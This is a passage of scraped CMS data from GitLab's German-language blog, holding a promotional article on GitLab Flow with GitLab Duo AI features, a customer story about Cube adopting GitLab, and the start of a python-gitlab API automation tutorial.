Infrastracture-as-Code-Scans (IaC), statische Anwendungssicherheitstests (SAST), Abhängigkeitssuche, Erkennung von Geheimnissen, Container-Scanning, API-Sicherheit, Web-API-Fuzzing und Abdeckungs-Fuzzing. Darüber hinaus hat GitLab eine Vielzahl an Sicherheitsdashboards und Berichten zu bieten, um Sicherheitslücken zu visualisieren. Dazu zählen die Liste der Abhängigkeiten, das Sicherheitsdashboard, der Sicherheitslückenbericht und die Sicherheitslücken-Seiten.\n\nUm Entwickler(inne)n und Security Engineers zu helfen, Sicherheitslücken besser zu verstehen und effizienter zu beheben, bietet die Funktion GitLab Duo **Vulnerability Explanation** eine Erklärung zu einer bestimmten Sicherheitslücke, wie sie ausgenutzt werden kann, und vor allem eine Empfehlung, wie die Sicherheitslücke behoben werden kann. Entwickler(innen) profitieren außerdem von der Funktion GitLab Duo **Vulnerability Resolution**, mit der automatisch ein Merge Request erstellt wird, der Codeänderungen zur Behebung der Sicherheitslücke enthält. Diese KI-basierten Funktionen tragen dazu bei, eine Anwendung sicherer zu machen und zu härten, um Sicherheitslücken zu vermeiden, die in der Produktion dann Ziel von Cyberangriffen werden könnten.\n\nNeben SAST-Scannern bietet GitLab auch DAST-Scanner (dynamische Anwendungssicherheitstest), für die eine laufende Anwendung erforderlich ist. Wenn diese Scanner eingesetzt werden, kann GitLab automatisch eine DAST-Umgebung für die DAST-Scans bereitstellen und dann nach dem DAST-Test eine komplette Bereinigung aller Ressourcen durchführen. Zudem bietet GitLab für ausgeführte Container das Operational Container Scanning (OCS) an, bei dem Container-Images in deinem Cluster auf Sicherheitslücken überprüft werden.\n\nDie genannten Scans können automatisch in einer Merge-Request-Pipeline ausgeführt werden. In einigen Fällen kann ihre Ausführung auch über Scan-Ausführungs- oder Merge-Request-Approvalrichtlinien geplant werden. Diese Richtlinien können über das GitLab-UI oder YAML-Dateien festgelegt werden und werden in einem separaten Projekt konfiguriert. Dies ermöglicht eine Aufgabentrennung, die die erneute Verwendung, die Wartung und die Verwaltung vereinfacht. Scan-Ausführungsrichtlinien erfordern, dass Sicherheitsscans nach einem bestimmten Zeitplan oder mit der Projektpipeline ausgeführt werden, während Merge-Request-Approvalrichtlinien Maßnahmen auf der Grundlage von Scan-Ergebnissen setzen. Security Engineers oder Sicherheitsteams können diese Richtlinien festlegen, um Sicherheitsprozesse im gesamten Unternehmen durchzusetzen. Da sich GitLab Flow durch alle Schritte zieht, können diese Richtlinien vorkommen bzw. genutzt werden.Um die Sicherheit und Compliance in deinem Unternehmen projektübergreifend durchzusetzen, kannst du Compliance-Labels und -Pipelines verwenden. Du kannst festlegen, dass Compliance-Labels und -Pipelines verpflichtend vor der eigenen Pipeline eines Projekts ausgeführt werden müssen. Mit diesem Ansatz kannst du sicherstellen, dass alle Teams in deinem Unternehmen deine Sicherheits- und Compliance-Standards erfüllen. Darüber hinaus kannst du so deine Anwendungen vor Cyberangriffen schützen, rechtlichen Vorgaben entsprechen und stets für Audits bereit sein.\n\nDas Hauptziel dieser Sicherheitsvorschriften von GitLab Flow ist, Sicherheitslücken früh im Entwicklungsprozess zu beheben, ehe die Anwendung in Produktion ist. Dann kann es nämlich sowohl teuer als auch schlecht für den Ruf sein, eine solche Sicherheitslücke beheben zu müssen.\n\nWenn Sicherheitslücken in der inneren Feedbackschleife von GitLab Flow behoben werden und weitere Updates an der Anwendung im Feature-Branch vorgenommen werden, müssen die Beteiligten auch diese Updates erneut überprüfen, um sicherzustellen, dass sie wirklich vorgenommen wurden und dass keine versehentlichen Regressionen eingeführt wurden.\n\n### Kontinuierlicher Review \n\n![Reviews – das vierte Element von GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-reviewing-features-portion.png)\n\u003Ccenter>Reviews – das vierte Element von GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nDas nächste Element von GitLab Flow ist der Review von Funktionen, also eine kontinuierliche Überprüfung von Anwendungen. Die Review-Funktionen umfassen die Möglichkeit, eine Review-Umgebung zu erstellen, in der die vorläufige Anwendung (der sogenannte Feature-Branch) bereitgestellt wird, damit die Beteiligten sie in Echtzeit überprüfen und ihr Feedback dazu abgeben können. Die vorläufige Anwendung kann dann kontinuierlich angepasst werden, bis sie mit dem Haupt-Branch zusammengeführt werden kann. GitLab Flow schreibt außerdem eine Bereinigung aller in der Review-Umgebung bereitgestellten Ressourcen zu dem Zeitpunkt vor, an dem der Merge Request mit dem Haupt-Branch zusammengeführt wird.\n\nDieser iterative automatisierte Review-Prozess ist Teil der inneren Feedbackschleife in GitLab Flow. Wie erwähnt ermöglichen in der inneren Feedbackschleife GitLab-Duo-Funktionen wie Codeerläuterungen, Codevorschläge, vorgeschlagene Prüfer(innen), Merge-Request-Zusammenfassungen, Erstellung von Vorlagen für Merge Requests, Code-Review-Zusammenfassungen, Erläuterungen von Sicherheitslücken, Behebung von Sicherheitslücken und Grundursachenanalyse in GitLab Flow eine bessere Übergabe zwischen Autor(inn)en und Prüfer(inne)n und optimieren den gesamten Review-Prozess.\n\nDie innere Feedbackschleife von GitLab Flow endet, wenn alle Review-Elemente behandelt wurden, der Merge Request freigegeben wurde und mit dem Haupt-Branch zusammengeführt wurde. Dies löst dann die Bereitstellung der Anwendung für die Produktion aus.\n\n### Bereitstellung von Anwendungen und Infrastrukturen\n\n![Bereitstellen – das fünfte Element in GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-deploy-apps-portion.png)\n\u003Ccenter>Bereitstellen – das fünfte Element in GitLab Flow]\u003C/center>\u003Cp>\u003C/p>\n\nAbhängig von den Anforderungen eines Unternehmens gibt GitLab Flow entweder kontinuierliche Lieferung oder kontinuierliche Bereitstellung vor. Während man unter kontinuierlicher Lieferung die häufige Veröffentlichung von Code durch manuelles Auslösen der Bereitstellungen (z. B. in die Produktion) versteht, ist die kontinuierliche Bereitstellung die automatische Veröffentlichung von Code (z. B. in die Produktion) ohne menschliches Zutun. Sehen wir uns zunächst die kontinuierliche Lieferung an.\n\nWenn du deine Software mit kontinuierlicher Lieferung veröffentlichst, gibt es verschiedene Bereitstellungsoptionen. Du kannst ein Standbild-Fenster einrichten und dann mit fortschrittlichen Bereitstellungstechniken wie Canary, Blue/Green, zeitlich abgestimmte und inkrementelle Rollouts bereitstellen. Inkrementelle Rollouts können das Risiko von Produktionsausfällen verringern, was zu einer besseren User Experience und einer höheren Kundenzufriedenheit führt. Fortschrittliche Bereitstellungstechniken können auch die Entwicklungs- und Liefereffizienz verbessern und den Release-Prozess optimieren.\n\nWenn du deine Software mit kontinuierlicher Bereitstellung veröffentlichst, gehen alle Änderungen/Updates direkt in die Produktion. Progressive Bereitstellungsansätze wie Feature-Flags, mit denen du die Bereitstellung bestimmter Funktionen von einer Markteinführung trennen kannst, sind eine gute Möglichkeit, die Risiken zu reduzieren und zu verwalten, welche Funktionen den Produktionsbenutzer(inne)n zur Verfügung gestellt werden sollen. Feature-Flags unterstützen mehrere Programmiersprachen und ermöglichen Experimente der Entwickler(innen) und kontrollierte Tests. Du kannst sogar Feature-Flags verwenden, um Funktionen nur für bestimmte Benutzer(innen) auszurollen.\n\nGitLab unterstützt all diese Bereitstellungsansätze, doch GitLab Flow ermöglicht nur die Umsetzung jenes Ansatzes, der am besten zum Unternehmen und/oder zum spezifischen Projekt passt.\n\n### Überwachen von Anwendungen und DevSecOps-Prozessen\nSobald deine Anwendung für die Produktion bereitgestellt wurde, muss sie kontinuierlich überwacht werden, um ihre Stabilität, Leistung und Verfügbarkeit sicherzustellen. Darüber hinaus werden DevSecOps-Prozesse gemessen, während sie ausgeführt werden, damit ihre Leistung und Effizienz verbessert werden kann. Diese Überwachungsfunktionen werden von GitLab bereitgestellt und können daher auch mit GitLab Flow genutzt werden.\n\nGitLab bietet für ausgeführte Container das Operational Container Scanning (OCS) an, bei dem Container-Images in deinem Cluster auf Sicherheitslücken überprüft werden. Diese Scans können automatisiert werden, indem du planst, wann sie ausgeführt werden. Gefundene Sicherheitslücken werden dann automatisch in einem Sicherheitsdashboard angezeigt. Das OCS hilft dir dabei, deine Cluster-Anwendungen zu schützen und Cyberangriffe, die zur Veröffentlichung privater Daten und sogar zu unerwarteten Ausfällen führen können, frühzeitig abzuwehren.\n\nDie Fehlerverfolgung ermöglicht es Entwickler(inne)n, von ihrer Anwendung generierte Fehler zu entdecken und anzuzeigen. Alle von deiner Anwendung generierten Fehler werden in der Fehlerverfolgungsliste in GitLab angezeigt. Die Fehlerverfolgung trägt zu einer besseren Verfügbarkeit und Leistung deiner Anwendungen bei, indem unerwartete Anwendungsbedingungen schnell erkannt und behoben werden.\n\nGitLab kann über einen Webhook-Empfänger Alarme von beliebigen Überwachungsquellen wie Prometheus erhalten. Wenn Alarme eingehen, werden sie in der GitLab-Alarmliste angezeigt, von wo aus du sie dann manuell verwalten kannst. Alarme können auch automatisch die Erstellung von Vorfällen, ChatOps und E-Mails an die entsprechenden Personen oder Gruppen auslösen. All diese Funktionen optimieren den Umgang mit Alarmen sowie deren Bearbeitung.\n\nWenn Vorfälle aufgrund von Produktionsproblemen erstellt werden, werden sie in der GitLab-Vorfall-Liste für das Vorfallmanagement angezeigt. Du kannst einen oder mehrere Vorfälle verwalten, sie sortieren, durchsuchen, zuweisen, ihren Status festlegen und sogar den vorab gesetzten SLA-Countdown-Timer anzeigen. Darüber hinaus kannst du Bereitschaftspläne und -rotationen erstellen, Eskalationsrichtlinien festlegen sowie Paging und Benachrichtigungen für die Bearbeitung von Vorfällen einrichten. Außerdem kannst du einen Vorfall mit einem Alarm verknüpfen. Wenn der Vorfall geschlossen wird, wird der zugehörige Alarm automatisch als gelöst gekennzeichnet. Vorfall-Zeitleisten sind eine weitere Funktion für Führungskräfte und externe Betrachter(innen), um zu sehen, was während eines Vorfalls passiert ist und welche Maßnahmen zur Behebung des Vorfalls getroffen wurden. All diese Funktionen optimieren das Vorfallmanagement, damit Vorfälle so schnell wie möglich gelöst werden können.\n\nAudit Events verfolgen wichtige Ereignisse und zeichnen unter anderem auf, wer die entsprechende Handlung zu welchem Zeitpunkt in GitLab ausgeführt hat. Diese Ereignisse werden in der Audit-Event-Liste in GitLab angezeigt und geben unter anderem Informationen zum Ereignis, das für ein Objekt durchgeführt hatte, sowie die Person, die dieses Ereignis durchgeführt hat, und Datum und Uhrzeit.\n\nAll diese Listen und Dashboards helfen, nicht konforme Szenarien und damit zusammenhängende Strafen früh genug zu vermeiden sowie Audit-Prozesse zu optimieren. Sie generieren Daten und Indikatoren für deine laufenden Anwendungen, die dann in der äußeren Feedbackschleife von GitLab Flow verwendet werden können, um deine Anwendungen zu verbessern und zu optimieren und das Risiko unerwarteter Produktionsausfälle zu verringern.\n\n### Kontinuierliche Verbesserung\nWenn du GitLab Flow einsetzt, hast du auch die Möglichkeit, Einblicke mit GitLab zu nutzen. Du erhältst diese in Form von durchgängigen Prozessmetrik-Dashboards, damit du nicht nur deine Anwendungen, sondern auch die Performance deiner Softwarebereitstellung kontinuierlich verbessern kannst. Diese Dashboards und ihre Metriken werden von GitLab automatisch generiert und sind immer verfügbar.\n\n### Dashboard für die Wertstromanalyse\nDu kannst den Lebenszyklus deiner Anwendungsentwicklung über das Dashboard für die Wertstromanalyse verfolgen und überwachen, denn hier kannst du Projekt- und Gruppenstatistiken im Zeitverlauf anzeigen. Dieses Dashboard ist anpassbar, du kannst aber auch gleich loslegen und eine Wertschöpfungskette über eine der vorgefertigten Vorlagen von GitLab erstellen. Das Standarddashboard zeigt Metriken für jede der vordefinierten Phasen deiner Wertstromanalyse an, also Ticket, Planen, Programmieren, Testen, Review und Staging. Außerdem wird ein Diagramm mit der durchschnittlichen Zeit, die für den Abschluss der einzelnen Phasen benötigt wird, angezeigt. Hier werden auch die wichtigsten Indikatoren der Wertstromanalyse angezeigt: Abarbeitungsdauer, Bearbeitungszeit, neue Tickets, Commits und Bereitstellungen. Du kannst anhand dieser Metriken Verbesserungsbereiche in den einzelnen Phasen deiner Wertschöpfungskette identifizieren.\n\n### DORA-Metrik-Dashboard\nUm die Performance-Metriken anzuzeigen, die die Effektivität der Entwicklung und der Bereitstellungspraktiken in deinem Unternehmen messen, gibt es in GitLab das [DORA-Metrik-Dashboard](https://about.gitlab.com/de-de/solutions/value-stream-management/dora/) (DevOps Research and Assessment), in dem vier wichtige Metriken angezeigt werden: Häufigkeit der Bereitstellung, Vorlaufzeit für Änderungen, Zeit bis zur Wiederherstellung des Service und Änderungsfehlerrate. Die Häufigkeit der Bereitstellung misst, wie oft dein Unternehmen Code in der Produktion bereitstellt oder für Endbenutzer(innen) veröffentlicht. Die Vorlaufzeit für Änderungen misst, wie lange es vom Commiten des Codes bis zur erfolgreichen Ausführung in der Produktion dauert. Die Zeit bis zur Wiederherstellung des Service misst die Zeit, die benötigt wird, um die Services bei einem Vorfall auf dem vorherigen Niveau wiederherzustellen. Die letzte Kennzahl ist die Änderungsfehlerrate, also der Prozentsatz an Änderungen an der Produktion bzw. an für Benutzer(innen) veröffentlichten Anwendungen, die zu einem eingeschränkten Service führen (z. B. durch eine Änderung, die zu einer Einschränkung des Service oder zu einem Ausfall führte) und dementsprechende Behebung benötigen (in Form von Hotfixes, Rollbacks oder Patches). Diese vier Schlüsselkennzahlen sind Ergebnisse deine aktuellen Prozesse und geben dir die Möglichkeit, die Faktoren und Funktionen zu verbessern, die dahinterstehen.\n\n### Anpassung deines Dashboards\nEin weiteres Dashboard ist das Wertstrom-Dashboard, ein anpassbares Dashboard, mit dem Entscheidungsträger(innen) Trends, Muster und Möglichkeiten für Verbesserungen im Bereich der Softwareentwicklung erkennen können. Die gezeigten Metriken sind die DORA-Metriken, gefolgt von Flow-Metriken für die Wertstromanalyse und Zähler für kritische und hohe Sicherheitslücken im jeweiligen Monat bis zum aktuellen Datum, für die zwei vorhergehenden Monate sowie die sechs vorhergehenden Monate.\n\nGitLab Duo kann auch bei deinen Bestrebungen für kontinuierliche Verbesserungen helfen. Die Funktion **Wertstromprognose** zieht historische Daten heran und verwendet Datentrends aus deinem gesamten Entwicklungslebenszyklus, um das zukünftige Verhalten deiner Wertstrom-Metriken zu prognostizieren. Du kannst diese prädiktiven Analysen für deine Optimierungen nutzen.\n\nAll diese Dashboards und die Indikatoren, die sie anzeigen, sind Teil der äußeren Feedbackschleife von GitLab Flow. Sie helfen dir, das Risiko ungeplanter Produktionsausfälle zu verringern sowie deine Anwendungen und DevSecOps-Workflows zu verbessern.\n\n### KI-Impact-Analysen\nUm die Auswirkungen von GitLab Duo (bzw. der KI) im gesamten Entwicklungslebenszyklus besser zu verstehen, steht dir die [KI-Impact-Analyse](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/) zur Verfügung. Hier siehst du, wie sich die Nutzung von Codevorschlägen von GitLab Duo auf andere Leistungs-, Qualitäts- und Sicherheitsmetriken auswirkt. Du kannst die letzten sechs Monate der KI-Einführung und ihre Auswirkungen auf andere Indikatoren wie Bearbeitungszeit, Abarbeitungsdauer, Bereitstellungshäufigkeit, Änderungsfehlerrate und kritische Sicherheitslücken im Zeitverlauf visualisieren.\n\nKI-Impact-Analysen helfen dir dabei, die Akzeptanz, Effektivität und Vorteile zu messen, die die KI deinen Teams und deinem Unternehmen bringt. Zudem tragen sie dazu bei, Verbesserungsbereiche zu identifizieren.\n\n## Warum solltest du GitLab Flow verwenden?\nGitLab Flow ist ein vorgefertigter Ansatz, der von unseren Kund(inn)en und Benutzer(inne)n auf der ganzen Welt eingesetzt wird und folgende Vorteile bieten kann:\n\n- Höhere Produktivität durch Automatisierungsmöglichkeiten von GitLab und dessen vereinheitlichter Benutzeroberfläche und des einheitlichen Datenmodells, die beide von GitLab Flow verwendet werden\n- Genaue Einblicke in den gesamten DevSecOps-Lebenszyklus, um kontinuierliche Verbesserungen zu ermöglichen\n- Integrierte Dashboards und Metriken, die dir dabei helfen, deine Anwendungen und DevSecOps-Prozesse zu optimieren\n- Höhere Codequalität und verbesserte Zuverlässigkeit und Verfügbarkeit deiner Anwendungen\n- Bessere Anwendungssicherheit durch integrierte Sicherheitsscanner und -funktionen\n- Einhaltung von Compliance und Vorbereitung für Audits durch integrierte Compliance-Funktionen\n- Kürzere Bearbeitungszeiten für höhere Bereitstellungshäufigkeit\n- Kontinuierliche Reviews durch die innere Feedbackschleife von GitLab Flow\n- Die innere Feedbackschleife von GitLab Flow hilft dir, Anwendungs-Updates zu optimieren, wodurch sich die Codequalität verbessert und deine Anwendungen zuverlässiger und besser verfügbar werden\n- Die äußere Feedbackschleife von GitLab Flow kann dazu beitragen, deine Anwendungen sowie den Entwicklungslebenszyklus an sich zu verbessern\n- Intensive Zusammenarbeit zwischen den Beteiligten in deinem Unternehmen\n- Die Sicherheit wird im Vorfeld kontrolliert, um Sicherheitslücken in den Anwendungen zu finden,  bevor sie in die Produktion gelangen, wo solche Fehler teure, ungeplante Ausfälle verursachen können \n- Niedrigeres Risiko bei der Bereitstellung in die Produktion durch fortschrittliche Bereitstellungstechnicken und den progressiven Lieferansatz von GitLab\n- KI-Funktionen im gesamten Entwicklungslebenszyklus können Produktivität, Codequalität, kontinuierliche Verbesserung, Sicherheit, Compliance und mehr verbessern\n- Unterstützung für Cloud-native und nicht-Cloud-native Anwendungen\n- Multi-Cloud-Support für hybride Anwendungen und Multi-Cloud-Anwendungen\n- Die Sicherheit wird im Vorfeld kontrolliert, um Sicherheitslücken in den Anwendungen zu finden, bevor sie in die Produktion gelangen, wo solche Fehler teure, ungeplante Ausfälle verursachen können\n\nWie kannst du mit GitLab Flow durchstarten? Ein guter Ausgangspunkt, um die Prinzipien von GitLab Flow für deinen Lebenszyklus der Anwendungsentwicklung einzuführen, sind Auto-DevOps von GitLab.\n\n## GitLab Flow und Auto-DevOps\n\n![Auto DevOps – eine Instanziierung von GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/ado-pipeline.png)\n\u003Ccenter>Auto-DevOps – eine Instanziierung von GitLab Flow\u003C/center>\u003Cp>\u003C/p>Bei [Auto-DevOps](https://docs.gitlab.com/ee/topics/autodevops/) wird GitLab Flow in allen Phasen und Jobs angewendet. Du kannst es dir als ein gutes Beispiel für die Instanziierung von GitLab Flow vorstellen.\n\nAuto-DevOps ist eine Sammlung vordefinierter, sofort einsatzbereiter CI/CD-Vorlagen, die deinen Quellcode automatisch erkennen. Basierend auf bewährten Methoden können diese Vorlagen deine Anwendungen automatisch erkennen, erstellen, testen, bereitstellen und überwachen.\n\nDie Auto-DevOps-Pipeline kontrolliert die Sicherheit im Vorfeld, um Fehler so früh wie möglich im Softwarelieferprozess zu finden und zu vermeiden. Die Pipeline stellt die Anwendung dann zur Verifizierung im Staging und dann inkrementell/zeitgesteuert in der Produktion bereit.\n\nMit Auto-DevOps kannst du rasch durchstarten, die Produktivität der Entwickler(innen) steigern und das Ganze einfach an deine Bedürfnisse anpassen. Außerdem erhältst du Unterstützung für die bekanntesten Programmier-Frameworks und -sprachen. Auto-DevOps ist modular, anpassbar und erweiterbar, sodass du sowohl nur einzelne Elemente in deiner Pipeline nutzen oder das Gesamtpaket für deine Anwendung einsetzen kannst.\n\n## Los geht’s\n[Kombiniere jetzt GitLab Flow und GitLab Duo](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2Fblog%2F), um die Effizienz deiner Workflows von Anfang bis Ende deutlich zu verbessern. So kannst du eine noch höhere Produktivität, Bereitstellungshäufigkeit, Codequalität und Sicherheit sowie verbesserte Resilienz und Verfügbarkeit deiner Produktion erreichen.\n\nWenn du sehen möchtest, wie ein Workflow funktioniert, der GitLab Flow und GitLab Duo kombiniert und wie du davon profitieren kannst, schau dir das folgende Video an:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/CKrZ4_tKY4I?si=Kf6QsYFIzKkJZpJd\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[110,679,787],{"slug":3503,"featured":6,"template":682},"gitlab-flow-duo","content:de-de:blog:gitlab-flow-duo.yml","Gitlab Flow Duo","de-de/blog/gitlab-flow-duo.yml","de-de/blog/gitlab-flow-duo",{"_path":3509,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3510,"content":3517,"config":3523,"_id":3525,"_type":16,"title":3526,"_source":17,"_file":3527,"_stem":3528,"_extension":20},"/de-de/blog/how-cube-uses-gitlab-to-increase-efficiency-and-productivity",{"ogTitle":3511,"schema":3512,"ogImage":3513,"ogDescription":3514,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3515,"title":3516,"canonicalUrls":3515,"description":3514},"Cube reduziert Toolchain-Komplexität und beschleunigt Bereitstellung","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Cube reduziert Toolchain-Komplexität und beschleunigt Bereitstellung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2023-02-07\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668437/Blog/Hero%20Images/faster-cycle-times.jpg","Software-Unternehmen zeigt, wie die DevSecOps-Plattform die Kundenzusammenarbeit verbessert und Releases optimiert.","https://about.gitlab.com/de-de/blog/how-cube-uses-gitlab-to-increase-efficiency-and-productivity","Cube reduziert Toolchain-Komplexität mit GitLab",{"heroImage":3513,"body":3518,"authors":3519,"updatedDate":910,"date":3520,"title":3511,"tags":3521,"description":3522,"category":1055},"Vor sechs Jahren kämpfte [Cube](https://cube.nl/), ein Software-Entwicklungsunternehmen aus den Niederlanden, mit einer fragmentierten und isolierten Toolchain. Das Unternehmen suchte eine umfassende Lösung, die Entwicklungs-, Sicherheits- und Operations-Teams zusammenführt und eine zentrale Informationsquelle für bessere Zusammenarbeit mit Kund(inn)en schafft. Die Entscheidung fiel auf GitLabs DevSecOps-Plattform.\n\nOperations Manager Mans Booijink und Lead Developer Remi Buijvoets sprachen mit GitLab darüber, wie der Wechsel zu einer All-in-One DevSecOps-Plattform bei Cube – intern und bei Kund(inn)en – einen signifikanten und positiven Unterschied gemacht hat und warum sie mit der Entscheidung zufrieden sind.\n\nBevor wir in die Migrationsgeschichte eintauchen, hier eine Übersicht der Verbesserungen, die Cube mit GitLab erreicht hat:\n\n- Verbesserte [CI/CD](/de-de/topics/ci-cd/)-Bereitstellungsgeschwindigkeit\n- Verbesserte Service-Level-Agreement (SLA)-Reaktionszeit\n- 80% der Cube-Kund(inn)en arbeiten aktiv in GitLab\n- Zentrale Informationsquelle für Zusammenarbeit\n\n![image of Mans Booijink](https://about.gitlab.com/images/blogimages/MansBooijinkCube.jpg) | ![image of Remi Buijvoets](https://about.gitlab.com/images/blogimages/RemiBuijvoetsCube.jpg)\nMans Booijink | Remi Buijvoets\n\n**Warum ist Cube zu GitLab gewechselt?**\n\nVor dem Wechsel nutzten wir eine Kombination aus Bitbucket, Trello und Jira. Die Kombination führte zu einer [fragmentierten, isolierten Toolchain](/blog/battling-toolchain-technical-debt/). Es gab viele Möglichkeiten zur Effizienzsteigerung. Wir begannen GitLab zu nutzen, weil wir ein DevOps-System wollten, das Ticket-Management, Sicherheit und Kundenzusammenarbeit umfasst. GitLab arbeitet nicht nur effizient. Die Einführung ist auch schnell und einfach. Tatsächlich haben wir unsere GitLab-Nutzerbasis in den letzten drei Jahren von 20 auf fast 70 verdreifacht. Jetzt nutzt fast die gesamte Cube-Organisation GitLab. Unsere Kund(inn)en und Kolleg(inn)en (Designer(innen), Entwickler(innen) und Projektmanager(innen)) können einfach kommunizieren, indem sie in derselben GitLab-Umgebung arbeiten. \n\n**Hat Cube vor GitLab andere Lösungen ausprobiert?**\n\nWir haben andere Tools ausprobiert, bevor wir zu GitLab wechselten. Aber GitLab bot alles, was wir brauchten – Ticket-Management, CI/CD, DevOps, Versionsverwaltung, Dateimanagement und Sicherheit. Es dauerte nicht lange zu erkennen, dass GitLab perfekt war, weil wir ein Tool haben wollten, in dem wir alle gemeinsam mit unseren Kund(inn)en und dem Team arbeiten.\n\n**Wie hat sich die Toolchain seit der Nutzung von GitLab verändert?**\n\nGitLab hat alles zu einer zentralen Informationsquelle vereinfacht. Wir deployen in eine Private Cloud in den Niederlanden und haben Sentry zur Fehlerüberwachung in GitLab integriert. Ansonsten läuft alles, was wir tun, in GitLab.\n\n**Wie hat GitLab CI/CD Cube geholfen?**\n\nGitLab CI hilft uns, den Software-Entwicklungsprozess zu automatisieren, indem GitLab-Pipelines und ein Runner zum Deployen unseres Codes verwendet werden. Innerhalb der Pipelines führen wir Linter zur Überprüfung der Code-Qualität aus. Auch Unit- und Funktionstests werden durchgeführt, um die Funktionsfähigkeit der Anwendung sicherzustellen. Wenn ein Fehler auftritt oder ein Test fehlschlägt, schlägt die Pipeline fehl. GitLab CI bringt Mehrwert in unseren Software-Entwicklungslebenszyklus, weil es verhindert, dass Bugs deployed werden, und hilft, Features zu deployen, während andere Features noch in Entwicklung sind. Zusätzlich hilft es uns, die Qualität unserer Projekte zu überwachen, was essentiell ist.\n\nGitLab CI hilft sicherlich bei der Bereitstellungsgeschwindigkeit, aber auch sehr bei der Erleichterung von Rollbacks, wenn ein Release versehentlich einen Fehler enthält. Wir verwenden einen Release-Zeitplan, und GitLab hilft uns, den Großteil der Arbeit zu automatisieren, sodass wir pünktlich liefern können.\n\nGitLab CD verbessert die Geschwindigkeit unserer Code-Deployments. Wenn die Pipelines erfolgreich sind, können Entwickler(innen) sicherstellen, dass alles wie gewünscht funktioniert. Dadurch können sich Entwickler(innen) mehr auf die eigentliche Entwicklung konzentrieren und müssen keine Gedanken an das Deployment verlieren. Wir haben auch eine lokale Maschine eingeführt, die Releases baut. Die Maschine wird vor Ort gehostet und verfügt über viele Ressourcen. Mehrere GitLab Runner nutzen diese Maschine zum Erstellen von Releases. Die Nutzung der GitLab Runner mit einem lokalen Computer war einfach zu konfigurieren.\n\n**Wie haben GitLabs Agile-Funktionen dem Unternehmen geholfen, effizienter zu werden?**\n\nVor GitLab nutzten wir verschiedene Kommunikationskanäle mit unseren Kund(inn)en. Jetzt bietet GitLab uns einen zentralen, zugänglichen Ort für alle Kommunikationen. Wir nutzen auch [GitLab für Agile-Entwicklung](/de-de/solutions/agile-delivery/). Wir haben unsere Epics zur Verwaltung größerer Entwicklungsprojekte und nutzen auch Milestones. Wir machen vier bis sechs Releases pro Woche und verwalten sie alle durch Erstellung von Milestones, die jeder sehen kann, einschließlich Kund(inn)en und Entwicklungsteam. Wir versehen alle Tickets mit Anforderungen, geschätzter Zeit, geplanter Veröffentlichung, Testverantwortlichen usw. Wir nutzen GitLab für 90 % unseres Projektmanagements, Agile-Managements und der Arbeitsfunktionalitäten, was sich als sehr effektiv erweist.\n\n**Wie misst Cube den Erfolg der GitLab-Migration?**\n\nWir messen die Lead Time der Bereitstellung. Die Ergebnisse jeder einzelnen Phase in der Bereitstellung werden genau protokolliert. So können wir nachweisen, dass wir die mit unseren Kund(inn)en getroffenen Vereinbarungen einhalten. Wir verfolgen auch, wie effizient die verschiedenen Phasen während des Entwicklungsprozesses sind und ob sie sich im Vergleich zur Vergangenheit verbessern.\n\nDa wir GitLab durchgehend im gesamten Prozess nutzen, ist es eine sehr wertvolle und nützliche Informationsquelle.",[826],"2023-02-07",[787,1057,110],"So hat das Software-Unternehmen seine Kundenzusammenarbeit massiv verbessert und Releases optimiert.",{"slug":3524,"featured":6,"template":682},"how-cube-uses-gitlab-to-increase-efficiency-and-productivity","content:de-de:blog:how-cube-uses-gitlab-to-increase-efficiency-and-productivity.yml","How Cube Uses Gitlab To Increase Efficiency And Productivity","de-de/blog/how-cube-uses-gitlab-to-increase-efficiency-and-productivity.yml","de-de/blog/how-cube-uses-gitlab-to-increase-efficiency-and-productivity",{"_path":3530,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3531,"content":3537,"config":3543,"_id":3545,"_type":16,"title":3546,"_source":17,"_file":3547,"_stem":3548,"_extension":20},"/de-de/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation",{"title":3532,"description":3533,"ogTitle":3532,"ogDescription":3533,"noIndex":6,"ogImage":3534,"ogUrl":3535,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3535,"schema":3536},"Effiziente DevSecOps-Workflows: Praktische python-gitlab-API-Automatisierung","Die Python-GitLab-Bibliothek ist eine nützliche Basis für die GitLab-API. In diesem Tutorial erfährst du mehr über praktische Beispiele und bewährte Verfahren.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659883/Blog/Hero%20Images/post-cover-image.jpg","https://about.gitlab.com/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Effiziente DevSecOps-Workflows: Praktische python-gitlab-API-Automatisierung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-02-01\",\n      }",{"title":3532,"description":3533,"authors":3538,"heroImage":3534,"date":3539,"body":3540,"category":847,"tags":3541,"updatedDate":3542},[2840],"2023-02-01","Ein oft zitiertes Sprichwort aus einer Konferenzpräsentation lautet:\n„Manuelle Arbeit ist ein Fehler“. Bei sich wiederholenden Aufgaben in\nArbeitsabläufen ist es ratsam, so viel wie möglich zu automatisieren. Ein\nBeispiel dafür ist die Nutzung einer REST-API zur Bestandsaufnahme von\nEinstellungen oder das Erstellen neuer Kommentare in GitLab-Issues und\nMerge-Anfragen mittels API-Aktionen.\n\n\n## GitLab-API-Interaktion: Möglichkeiten und Unterstützung 